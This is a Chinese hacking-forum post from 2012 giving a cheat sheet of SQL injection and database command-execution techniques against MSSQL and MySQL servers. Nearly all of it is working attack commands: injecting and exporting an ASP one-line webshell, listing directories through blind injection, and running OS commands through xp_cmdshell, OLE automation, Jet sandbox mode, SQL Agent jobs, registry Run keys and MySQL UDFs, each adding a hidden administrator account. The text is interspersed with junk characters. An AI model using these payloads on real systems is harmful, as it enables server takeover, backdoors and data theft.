找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2893|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MSSQL语句导出一句话木马
$ k9 m' X$ s/ S% |/ C6 Y5 n& g首先确定网站的WEB路径
- L3 T- F+ R4 `1 f;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
- Z( d( Q. U5 e9 M7 @* E# b8 p) M& |7 s  x3 L& B2 _
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
1 O1 k7 M* }. v( b: ?. x1 n//将一句话木马插入表中
' r, v2 Y- d2 a5 d# O2 ~, G6 G, X  q0 T) Y7 P' k# V8 l- y
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
5 \' Z* x# {$ W. P3 ^  o1 e//导出一个ASP文件
0 [$ ?5 Z& P& |: k; I( k0 I7 g% d: o. T, p* U

8 a% s$ _8 t: y关于MSSQL列目录
2 [+ ]  ~/ W) e0 J; Y" D8 i. x6 W;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表; d6 H& z# w1 Y6 ?: Q7 {# }6 h
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
( B# J" b+ E* A. H2 U# G
+ ^+ u* F7 A' z7 X6 Q. Zand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
) ?, R4 T1 W+ t9 E! q2 n$ a* o
5 Y3 G- {$ a5 ~) a2 x1 fAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段. s) Q9 v* w3 ]$ ?
  G7 ?* E1 p, x0 `
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
2 W$ G; v' `+ g! }- v* M( R0 x9 F4 F+ m
% Z2 [& c. E) z8 i
数据库版本和权限查看. Y0 O8 e' x% `2 b
and 1=(select @@VERSION) //查看详细的数据库信息.1 U, D, y8 t! G4 ^3 z
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
0 F. X+ x# C) B* Nand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER! f( E/ a6 F; P
; p% a7 W3 d+ e, e( c# E% c& a
5 N, H( f: L2 u- m2 y9 [! o. e
1.利用xp_cmdshell执行命令  K! ^, [2 J5 O
exec master..xp_cmdshell 'net user rfire 123456 /add'. r  k/ B% Q  d- U# S/ F6 D
exec master..xp_cmdshell 'net localgroup administrators rfire /add'4 E0 X: E: n+ w% U/ f! O: _

8 g6 I* f9 u  f- F( C5 W8 ~0 y+ ^恢复xp_cmdshell存储过程
+ [8 u+ Q) z- S" u9 HExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
) b# q, {" d5 x1 `  j
! O; d2 [0 M! H9 u( g$ v+ }+ }" k
2.利用SP_OAcreate和SP_OAMETHOD执行命令
/ ]9 V: q; D, K5 `2 l% Y/ P在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
5 a3 X' _4 \7 d* k# n3 `DECLARE @shell INT //建立一个@shell实体/ Z/ _% f+ J: K% ^
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例& I, d" |+ K5 l
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例/ @+ Y* q6 ?& ?; k

( \. T' r- ^7 m- t' R- s6 m) L+ }
5 g$ [" ~) r5 w& y7 K- I3.利用沙盒模式
" W# E! M; n+ l0 n" _/ l先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
3 |6 m$ G) f7 U! Y# a8 w2 o开启沙盒模式:
* K- {' i' J: SEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
- |6 P3 N1 ~+ L/ r4 T1 K- I5 Z# g3 b$ k
执行命令:
% Y7 i8 k/ Y# F8 D, ^Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');7 k( K; S5 p3 x. x7 R  ]
8 }" `) J8 ~! K& E& f" t

3 P; e% P" H1 X4.利用SQL代理执行命令
) U4 ]( s# K9 ?  NEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
+ y8 S4 w1 H% P8 E1 u; \" E1 E1 V8 S
执行命令:3 R; s3 D# _5 ]' P# j
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
0 P1 q$ B4 U3 ?1 P/ ]* T3 [$ J7 Iexec sp_add_job 'x': g8 R! @, L$ G. l' i% L& U( L
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业. {7 M" r& X- i5 c: E- G6 U0 h
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
2 |; j, v' B, e: \$ P$ {/ \9 s9 j$ C9 ?& x: D

1 W/ i" M  @( r/ O- T2 z5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
! N/ s8 J: ?; H, ^6 V, R1 F; JEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
3 @9 a7 X- F9 S8 S1 G9 K' |4 u, \( o3 N0 ]! g+ `5 s5 `
7 y! v5 \- I" G9 B- W- \* @2 U
6.MYSQL的命令执行7 ]. D$ x) V8 a' p5 B
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)- J& _& i( J& b
首先要在su.php下导出c:\windows\udf.dll1 z( Z7 j2 W& v3 o/ T5 p
导出后执行创建自定义函数命令:
/ \: L$ z' {& c1 @# FCreate Function cmdshell returns string soname 'udf.dll'
* Q2 F/ O  ?; A( t. X  R执行命令* J% `7 r! b& `) x+ J2 }: i
select cmdshell('net user rfire 123456 /add')
, Z% n( W1 x5 q执行后删除函数 drop function cmdshell
! y: Q% o& _) u$ x, x- T- m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表